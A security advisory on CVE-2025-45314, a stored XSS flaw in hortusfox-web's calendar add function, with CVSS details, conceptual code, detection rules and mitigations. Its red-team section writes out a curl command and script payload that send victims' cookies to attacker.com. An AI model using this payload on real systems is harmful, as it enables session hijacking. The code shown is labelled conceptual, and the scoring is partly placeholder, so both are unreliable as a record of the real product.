CVE-2025-45314

Executive Summary

CVE-2025-45314 is a stored cross-site scripting (XSS) vulnerability in the /Calendar endpoint of hortusfox-web version 4.4. An attacker can inject arbitrary JavaScript via the add function, which is then executed in the context of any user viewing the crafted calendar event. The vulnerability has a CVSS score of 0.0 (placeholder) but based on the vector, it is a medium-severity issue with low impact to confidentiality and integrity. No official patch has been released, and the vendor status is UNKNOWN. This advisory provides detection rules, exploitation guidance, and mitigation steps.

Supply Chain & Package Security

This vulnerability affects the hortusfox-web application, which is a self-hosted web application. It is not distributed via NPM, PyPI, Go, or Ruby registries. However, if the application is deployed via Docker or other container registries, those images should be considered affected. Users should verify the integrity of their deployment and ensure no malicious calendar entries have been injected.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must view the crafted calendar event
• Scope: Changed (S:C) – the vulnerability can impact resources beyond the vulnerable component
• Confidentiality Impact: Low (C:L) – limited data exposure
• Integrity Impact: Low (I:L) – limited modification of data
• Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires user interaction, but the attack vector is network-based and does not require authentication. The primary risk is session hijacking, phishing, or defacement within the application.

Deep Dive & Mechanics

The vulnerability resides in the /Calendar endpoint of hortusfox-web v4.4. The add function does not properly sanitize user-supplied input before storing it in the calendar event data. When a user views the calendar, the unsanitized payload is rendered in the browser, leading to stored XSS.

Root Cause: Lack of output encoding or input validation on the add function parameters (e.g., event title, description, or custom fields). The application likely uses a templating engine that does not auto-escape HTML.

Attack Flow:

1. Attacker sends a POST request to /Calendar/add with a malicious payload in a parameter (e.g., title=<script>alert(1)</script>).
2. The payload is stored in the database.
3. When any user (including the attacker) navigates to the calendar view, the payload is rendered without sanitization.
4. The victim's browser executes the injected JavaScript.

Impact: The attacker can steal session cookies, perform actions on behalf of the victim, redirect to malicious sites, or deface the calendar interface.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is assumed to be in the add function handler. A patched version would implement proper input validation and output encoding.

Vulnerable Code (Conceptual):

// Vulnerable: directly stores user input
app.post('/Calendar/add', (req, res) => {
  const event = {
    title: req.body.title, // No sanitization
    date: req.body.date
  };
  db.save(event);
  res.redirect('/Calendar');
});

Patched Code (Conceptual):

// Patched: sanitize input and encode output
const sanitizeHtml = require('sanitize-html');
app.post('/Calendar/add', (req, res) => {
  const event = {
    title: sanitizeHtml(req.body.title, { allowedTags: [] }), // Strip all HTML
    date: req.body.date
  };
  db.save(event);
  res.redirect('/Calendar');
});

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of hortusfox-web v4.4
• Ability to send HTTP requests to the /Calendar/add endpoint

Exploit Steps:

1. Craft a malicious payload. Example: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
2. Send a POST request to /Calendar/add with the payload in the title parameter.

   curl -X POST http://target/Calendar/add -d "title=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>&date=2025-01-01"
   

3. Wait for a victim to view the calendar. The script will execute and exfiltrate the cookie.

Advanced Payload: Use a payload that auto-submits a form to perform actions on behalf of the victim (CSRF + XSS).

Blue Team

Detection:

• Monitor for POST requests to /Calendar/add containing HTML tags or JavaScript in parameters.
• Use WAF rules to block requests with <script> tags in the title or description fields.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search logs for requests to /Calendar/add with suspicious parameters.
• Check the database for stored XSS payloads in calendar events.

Lab Setup:

• Deploy a vulnerable instance of hortusfox-web v4.4 in a sandboxed environment.
• Use a browser with developer tools to inspect the calendar view and confirm script execution.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /Calendar/add with title or description containing <script> tags.
  • Outbound connections to attacker-controlled domains from the application server.
• File IOCs:
  • Database entries in the calendar table containing HTML/JavaScript.
• Behavioral IOCs:
  • Unexpected redirects or pop-ups when viewing the calendar.
  • Unauthorized actions performed on behalf of users.

Detection Engineering

YARA Rule

rule CVE_2025_45314_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting hortusfox-web /Calendar endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-45314"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /on\w+\s*=\s*['\"].*['\"]/i
        $xss3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-45314 - XSS Attempt on hortusfox-web Calendar
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to /Calendar/add with XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/Calendar/add'
        cs-uri-query|contains: 
            - '<script'
            - 'onerror'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in event descriptions (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-45314 - XSS Attempt on hortusfox-web Calendar"; flow:to_server; content:"POST"; http_method; content:"/Calendar/add"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Sanitize all user inputs on the /Calendar/add endpoint. Strip or encode HTML tags.
2. Output Encoding: Ensure all data rendered in the calendar view is properly HTML-encoded.
3. Content Security Policy (CSP): Implement a strict CSP header that blocks inline scripts and only allows trusted sources.
4. Web Application Firewall (WAF): Deploy WAF rules to block common XSS patterns.

Long-Term Fix:

• Upgrade to a patched version of hortusfox-web once available.
• Conduct a security audit of the application for similar vulnerabilities.
• Implement a secure development lifecycle with regular code reviews and penetration testing.

Workaround:

• Disable the calendar feature if not essential.
• Restrict access to the /Calendar/add endpoint to authenticated users only (though this does not fully mitigate the risk).

Valters IT